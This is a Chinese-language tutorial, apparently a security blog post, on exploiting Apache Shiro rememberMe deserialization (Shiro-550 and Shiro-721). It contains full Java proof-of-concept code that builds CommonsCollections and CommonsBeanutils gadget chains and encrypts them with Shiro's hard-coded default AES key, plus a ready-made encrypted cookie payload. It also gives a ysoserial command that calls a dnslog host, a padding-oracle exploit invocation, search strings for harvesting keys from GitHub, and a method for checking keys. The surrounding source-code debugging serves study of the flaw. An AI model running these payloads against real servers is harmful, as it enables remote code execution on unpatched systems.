Shiro<1.2.4-RememberMe
也被称为 Shiro 550。
可使用 P神写的 demo
https://github.com/phith0n/JavaThings/blob/master/shirodemo
原理
Shiro 默认使用了CookieRememberMeManager
,其处理cookie的流程:
得到 rememberMe的cookie值 --> base64解码 --> AES解密-->反序列化。
而shiro<1.2.4版本的AES的密钥是硬编码的,就导致攻击者可以任意构造恶意rememberMe的值造成反序列化。
Shiro 特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
CommonsCollections3.2.1 POC
未演示CC链的利用 添加 CC链依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
勾选rememberMe多选框,登陆成功后服务端会返回一个 rememberMe 的 Cookie。
攻击过程:
使用CC链生成序列化 payload
使用shiro 默认 key 加密
base 64编码
将其作为 rememberMe 的 cookie 发送给服务端。
依赖:
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
package shiro;
import com.sun.crypto.provider.AESCipher;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
Transformer fakeChainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
// Transformer fakeChainedTransformer = new ChainedTransformer(transformers);
HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, fakeChainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "foo");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
outerMap.remove("foo");
setFieldValue(fakeChainedTransformer,"iTransformers",transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashSet);
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
生成:
TM7qT0H6gX+GCq8cF35bokV4kMVqInubhHO0i7qHbWO8EBbtuDxHM8o61pkXMbYxEMn0LZKWv3TRf/pRxB/fta5NppDPqWdkNbZ7IPmNPuub6I0hnajm3+C5blpJTokY1FEiBhE18OoTpO4JhbBFu+ktgpmSjsTyVg6gZ+fzQiaG7bKNkdKDKkDvLWANRPoALHdYAm5sYIn9W8SeoQvEXu9Wsr9kvZ6xBmap6dobll9RJtEv8AMHunfnvYDgdwNIRyFzMOCmT/kQzf9TYYMUTEdVckgRZTjtgRwogCYtPFs+egrXbEVIWa3JvSBtnFYrfVEhI4gMFcV/RUpxUnW/cj5A57lEhBkxK0TTQJgiVZe1wmVAkBB7nzzSiL6uoh9Hmnw8uTiJCfLk1CWKYd5hLQpT9LG2mn2l6eqmc/08+nQfa1DnMcK4z9uJf+xWj9/3qDEaalmhdu9JMu/6ujguZ+dDY0OK2CO9KhjtnYE47ah1vdvzf6PwcEzpoQUrtHKbJ6+1Hz5QBc20Iik+vwwN1j6GXUOXh/rzPc4JNQDLeBMFtbVOvUBQAzTBWr36113D21q0KAEIAp8ZoKzOHZ0OuRl2iW8QULwvRdc61Dv6AIYORksQFzpEnaf8lL2mlwg0GRlm/RzU69hlYM3bMaypb7EDAZvAjySzLiTeIcRAnD4ZsvGzz+zHpUhjFYwVGDDR8h7EJ5zCwlwqA3vZjlBfhTiOQX3RCWmFfvzzAsG6mEI3JYLXNnYxJGDou4Nd2cvG2RGEggwYzreBTtRaW4wR+v1kBXSim1eVJaEFaAIQaJ/xJYG01MVZYnXs3iSJtsKlNkE/kk209vFYIPoXCyvMhwnvgWhpZrZvQnx+0jYeJO1b9bOoP8L/hN3JFR4mMB1LTRsVJoCHsTPEKzke8RGTnSrLnKv7TI0KxjQ3E+Df0tp86etJkz4wrALkxcdopHfl+AIOtMYMlefWFKckH35bnHTm0koWShC0nRGcok/MHbam0Pgxdotcx0036pp4k4baa8y1LNRlaSZyUTpx2hHgmfvmD2hOxbENL4lHHRuTnc+c35x9rzcZNDrEdEhEFyreVPXlVJ3NOM1M01SWXwIKuawlrLwhfnPOKKNjRxoU3sqO5OcobD/2jnGDbxCIFeOUvXEsBltoFVVIJNK4Sn+CeT5/ng0S0ZkfLQGHMpCS4x8MXPqIiMWVpSbA9QUwm7clg4Oiv26qCR21zp6220jBeUi79gJtmDuAX93Eez+aUuwukzc6nDfQ29Gu0l7OgdsxEdmGZp32bdS1BJrw9+C5xWxrsq1fl2THUcd+ZAhVbl8ufydFRUXaLGlmMG2OFlhiQqurZCDp4dXGh5WCvbbc27j6cxmPw3hJEFN0KbZZMOH2b2bJOeLh/UpOiv+NgmoatPo133NVoY09nU6ALx5RztC57F8SXVXEWblpXEzYz3i7vqPIYU3xPhP2/iCTLHvQ4IYHRrMspS9qOhQWVKxFfOB12UXxU7DBqZwLkfCBH51Nthby7zVpoV+327FQz7c6ffGw7UIPVQWqVF3BLB0x5T7Q8IMnzjWeopXRrtuRhdvVM6Jvqi3f6LNYZEeUl8Pk5XLSO5vEetyX9MnoES3WluUZOkaw9+V0XY0vyNPaccqmXgrnpHzqlBXfBVD8w0vNqxCycjptNJeZDhQpfYkRkLo=
作为 Cookie 的 rememberMe 值发包,但是并没有执行命令,而是报错了。
解决报错
最后一行org.apache.shiro.io.ClassResolvingObjectInputStream
,这是shiro
的子类,其重写了resolveClass
方法
package org.apache.shiro.io;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException var3) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
}
}
}
resolveClass
是反序列化中用来查找类的方法,也就是读取到一个字符串类名,然后通过这个方法找到对应的java.lang.Class
对象。
正常的ObjectInputStream#resolveClass
:
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
区别:
前者用的是Classutils#forName
(实际上是org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
) ,后者调用的是 java 原生的Class.forName
。
打断点查看
出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。这个类名看起怪,其实就是表示 org.apache.commons.collections.Transformer 的数组。
如果反序列化流中包含非java自身的数组,则会出现无法加载类的错误。而这里CC6用到了 Transformer数组。
构造不含数组的反序列化Gadget
Orange师傅文章中用到了JRMP的方式: http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
我们也可以使用其他方法。
可以使用 javassist + TemplatesImpl 替换这里
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
为:
ClassPool pool = ClassPool.getDefault();
CtClass cc3 = pool.makeClass("shiro");
cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc3.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
但是这里是需要obj.new Transformer()
来触发的,
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
这里又引入了数组。
在CC6TiedMapEntry
中,其构造函数接收两个参数,参数1是Map
,参数2是Object key
。
TiedMapEntry
类有个getValue
方法,调用了 map 的 get 方法,并传入 key :
public Object getValue() {
return map.get(key);
}
当 map 是LazyMap
时,其 get 方法就是触发 transform 的关键点:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
之前使用LazyMap#get
方法的参数没有用到过。因为通常 Transformer 数组的首个对象是ConstantTransformer
, 通过它来初始化对象。
但是此时无法使用数组了,也不能使用ConstantTransformer
相互调用了。但是,这里的LazyMap#get
的参数key,会被传进transfoem
里,那么它可以扮演ConstantTransformer
的角色,
再看之前的数组:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj),
可以去除了,数组也就无了。
这里可直接利用参数 input 反射调用任意方法。
POC
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class POC1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc3 = pool.makeClass("Shiro");
cc3.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc3.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc3.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
HashMap innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, obj);
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
outerMap.clear();
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashSet);
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
成功
https://www.anquanke.com/post/id/192619
CommonsCollections 4.0 POC
使用CC2,因为其本身就没有使用到数组
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.Queue;
public class CC2POC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 获取默认类池
ClassPool pool = ClassPool.getDefault();
CtClass cc2 = pool.makeClass("CC2");
cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc2.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
https://www.anquanke.com/post/id/192619
CommonsBeanutils POC
上述两个POC是在有CommonsCollections
组件的情况下才能利用。
实际中,可能并没有这个组件存在,那么CC链自然无法利用了。
将项目 pom.xml 中 CC组件去掉,
发现commons-beanutils
依然存在,也就是或,shiro本身就是依赖 commons-beanutils 的。
那么尝试使用 CommonsBeanutils1 链进行攻击:
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 获取默认类池
ClassPool pool = ClassPool.getDefault();
CtClass cc2 = pool.makeClass("CC2");
cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc2.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,1});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.close();
System.out.println(byteArrayOutputStream);
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
报错了
serialVersionUID的问题:
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
当然,开发者也可以手工给类赋予一个 serialVersionUID 值,此时就能手工控制兼容性了。所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.4版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了 serialVersionUID 对应不上的问题。
解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
替换后,又报错了
Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]:
没有找到org.apache.commons.collections.comparators.ComparableComparator
,这个类来自commons.collections
。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于commons-collections,但反序列化利用的时候需要依赖于commons-collections。
所以此链无法利用。
无依赖Shiro反序列化利用链
这个类org.apache.commons.collections.comparators.ComparableComparator
在这里用到了
在BeanComparator
构造函数处,没有显式传入comparator
时,默认使用ComparableComparator
。
我们此时需要找一个类来替换,需要满足:
实现
java.util.Comparator
接口实现
java.io.Serializable
接口java, shiro ,或 Commons-beanutils 自带,且兼容性强
找到
java.lang.String
内部私有类,满足要求
通过String.CASE_INSENSITIVE_ORDER
拿到CaseInsensitiveComparator
。那么就可以构造POC
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1POC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 获取默认类池
ClassPool pool = ClassPool.getDefault();
CtClass cc2 = pool.makeClass("CC2");
cc2.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
cc2.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
byte[] code = cc2.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][]{code});
setFieldValue(obj,"_name","test");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{obj,1});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(queue);
outputStream.close();
System.out.println(byteArrayOutputStream);
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
成功:
类似的还有java.util.Collections$ReverseComparator
参考:
Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用.pdf
调试
加密
Shiro≤1.2.4版本默认使用CookieRememberMeManager
继承了AbstractRememberMeManager
,跟进看看
这里有硬编码的密钥,
又继承了RememberMeManager
,跟进
看名字也知道这是一些登录成功、失败、退出的一些接口,
那么我们在登录成功的法昂发处下断点
调用isRememberMe
判断是否选择Remember me
多选框,
我们选择了,所以返回 true ,
跟进
this.rememberIdentity(subject, token, info);
subject: 存储一些登录信息,如 session等
token: 存储用户的账户密码,是否勾选多选框,host信息
info: 存储用户信息
跟进rememberIdentity
,this.getIdentityToRemember
获取身份,
PrincipalCollection是一个身份集合。
跟进this.rememberIdentity
将身份信息使用convertPrincipalsToBytes
方法处理,跟进
看到serialize
方法
这里先转换为 byte ,写入缓冲区,然后进行序列化。
回到convertPrincipalsToBytes
,进入this.getCipherService()
这里
private CipherService cipherService = new AesCipherService();
不为空,进入 if
那么跟进encrypt
,
这里获取加密服务后,进行加密
this.getEncryptionCipherKey(); 获取AES密钥,就是之前硬编码的key
具体加密操作不在跟进,
加密得到 set-Cookie rememberMe的值,
回到rememberIdentity
跟进rememberSerializedIdentity
是对 cookie进行的一些处理操作,
跟进saveTo
,最终添加 cookie 头。
解密
在getRememberedPrincipals
方法下断点,
进入断点
跟进getRememberedSerializedIdentity
到这里就是要读取 cookie值了,
跟进readValue
跟进getCookie
,传参 name 为rememberMe
得到传进来的cookie值,然后判断参数为rememberMe
,进入 if ,返回 cookie。
回到readValue
返回 cookie rememberMe的值。
回到getRememberedSerializedIdentity
进入 esle if ,进行 base64解码,返回解码后的值
回到rememberSerializedIdentity
跟进convertBytesToPrincipals
decrypt
进行解密操作,跟进
使用获得密码服务,然后使用AES密钥解密,最后返回解密后的字节。
回到convertBytesToPrincipals
,
跟进deserialize
,应该是反序列化了,
将数据写入缓冲,然后反序列化ois.readObject()
。
成功命令执行
链:
rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
https://www.bilibili.com/read/cv9949257
Shiro<1.4.2
也叫Shiro 721。
影响版本
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
原理
Shiro 1.2.5之后,shiro采用了随机密钥,也就引出了SHIRO-721。
Apache Shiro 存在高危代码执行漏洞。该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
说明:
其中有一个重要的理论基础:Padding Oracle 攻击是应用/服务AES密文在 Padding(格式) 不对时能够有明显的区别,通过 padding 是否正确推断出中间值(每组中间值只和密文一一对应),这样就可以不用知道AES密钥时,构造密文,使之解密为我们想要的明文。
接受到正确的密文之后(填充正确且包含合法的值),应用程序正常返回(200 - OK)。
接受到非法的密文之后(解密后发现填充不正确),应用程序抛出一个解密异常(500 - Internal Server Error)。
接受到合法的密文(填充正确)但解密后得到一个非法的值,应用程序显示自定义错误消息(200 - OK)
接受到非法的密文之后(解密后发现填充不正确)和 合法的密文(填充正确)但解密后得到一个非法的值 响应不同。
分析
Shiro对cookie的处理过程
成功返回
失败返回rememberMe=deleteMe;
所以我们需要首先获取到成功登录后的 rememberMe的值,然后利用 padding Oracle 构造自己的数据,来对比不同。
还有一个java trick:
java序列化后 数据后添加脏数据不会影响反序列化结果。
环境搭建
https://github.com/inspiringz/Shiro-721
下载环境: https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.4.1.zip
idea打开shiro/sample/web
目录,
添加tomcat,并进行配置一下就ok。
漏洞利用
登录网站(勾选Remember),并从Cookie中获取合法的RememberMe。
使用RememberMe cookie作为Padding Oracle Attack的前缀。
加密 ysoserial 的序列化 payload,以通过Padding Oracle Attack制作恶意RememberMe。
重放恶意RememberMe cookie,以执行反序列化攻击。
成功登录拿到cookie
使用 ysoserial 生成 urldns payload,
java8 -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://m5v8rq.dnslog.cn" > urldns.ser
通过脚本shiro_exp.py爆破
python2 shiro_exp.py http://localhost:8080/ SFm/ZCRElAfEgLz8ciu9v2MVPpNbErTogOQ62L/J4zPEPbEaomvzY+fyiPG81J7XGN1HJA5Traa0yi87XXGwZMmNqoBGfPH/WRVtOdS7XLmv29XrzsNnctXlSrl/h9hs+C2mCZQ9D7SpeTYPue+ZCyuzau/wIMvMDdsUCrNMTQMqwcdDddQ+JoLgoWj4hV/SJD++TSX6szBLxZBcU/IdV99OU/Grd4weXjBnedqbvbS6ZrTYeCBDrqVBDeAtlBsDMt7AwvRDK+TGDBICWdp+X1M27xVrrrGbuDHVmVmwRv2xB4juVDE9TZmei1oQUPTjMfhiEzaM1cSI9io/IKX/LlOt7XL0pZbejbGreLmHv5nfJY584QEv1h5EX+iR6SdYnz36AlssmW9ZeUvkAPegKF8J/C4POhlhrQl1dXbHfssRugo0IPyjpS/ZyDxFAv1vXHPmHwp+vMy6M98ZhGrRCKeQAeAHl1ENKo9i59BnwxDIudZo3RYn66oMnAVrf2d0 urldns.ser
生成新的rememberMe的值,将其替换重放,dnslog即可收到请求。
替换后发包即可收到请求
注意将 sessionid删除掉,因为它也是认证字段,如果sessionId还有效,那么就不会触发认证流程。
修复
在 1.4.2 之后将默认的AEC-CBC模式改为 AES-GCM
收集 key
在 github 上收集
securityManager.rememberMeManager.cipherKey
securityManager.setRememberMeManager(rememberMeManager);
Base64.decode(
Base64.decode( shiro
setCipherKey(Base64.decode(
securityManager.rememberMeManager.cipherKey=
key 收集
https://github.com/yanm1e/shiro_key
shiro 检测key
可以使用 urldns 链检测,其不受jdk版本限制,也需依赖,但是这种方法有一定的局限性,比如:不出网、有延迟、目标地址网络连接被waf阻断等等。
所以来看 一种另类的 shiro 检测方式。
在 request的 cookie中写入 rememberMe=1(这个值是随便的);
response 返回包返回rememberMe=deleteMe
调试跟一下,
在AbstractRememberMeManager#getRememberedPrincipals
下断点
看看getRememberedSerializedIdentity
干了啥,跟进
很明显,拿到刚传的 cookie 值,然后补齐格式,base64解码后返回。
然后回到getRememberedPrincipals
,满足if 条件进入,注意这里还有个 catch 捕获异常
跟进convertBytesToPrincipals
,
拿到解密服务后,进行解密,跟进
继续跟进, decrypt 参数中有个 key 参数,
这里解密拿 key 解密我们传过去的值,肯定是失败了,所以捕获到异常后抛出。
转而被刚开始getRememberedPrincipals
方法中捕获到异常,
跟进onRememberedPrincipalFailure
跟进forgetIdentity
将 request 和 response 放到forgetIdentity
方法,跟进
继续跟进removeFrom
最后就是添加 response 头了
还有
我们拿 gadget 去打的时候,拿正确的 key 进行shiro加密算法进行加密,但是最后依然在 response里面携带了rememberMe=deleteMe
。
getRememberedPrincipals
-->convertBytesToPrincipals
这里解密成功,进入deserialize
进行反序列化
这里进行了强制类型转换,但是我们反序列化的 gadget 和此类型并没啥关系,
但是在做类型转换之前,先进入了 DefaultSerializer#deserialize进行反序列化处理,等处理结束返回 deserialized时候,进行类型转换自然又回到了上面提到的类型转换异常,
所以还是会有rememberMe=deleteMe;
如果这里反序列化的是一个 PrincipalCollection 对象就不会出现异常。
那么可以找一个PrincipalCollection 对象序列化来测试 key。如果 key 正确,正常解密,就不会有rememberMe=deleteMe;
。
找到SimplePrincipalCollection
POC
package shiro;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class ShiroKey {
public static void main(String[] args) throws Exception {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream obj = new ObjectOutputStream(byteArrayOutputStream);
obj.writeObject(simplePrincipalCollection);
obj.close();
// 将其转化为 shiro 攻击 payload
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.println(encrypt.toString());
}
}
如果是正确的 key 加密,服务端解密,正常流程,就不会再出现rememberMe=deleteMe;
。
key 错误,就又出现了
所以可以据此来快速的判断 key 是否正确。
检测工具
常用的
https://github.com/chaitin/xray
https://github.com/j1anFen/shiro_attack
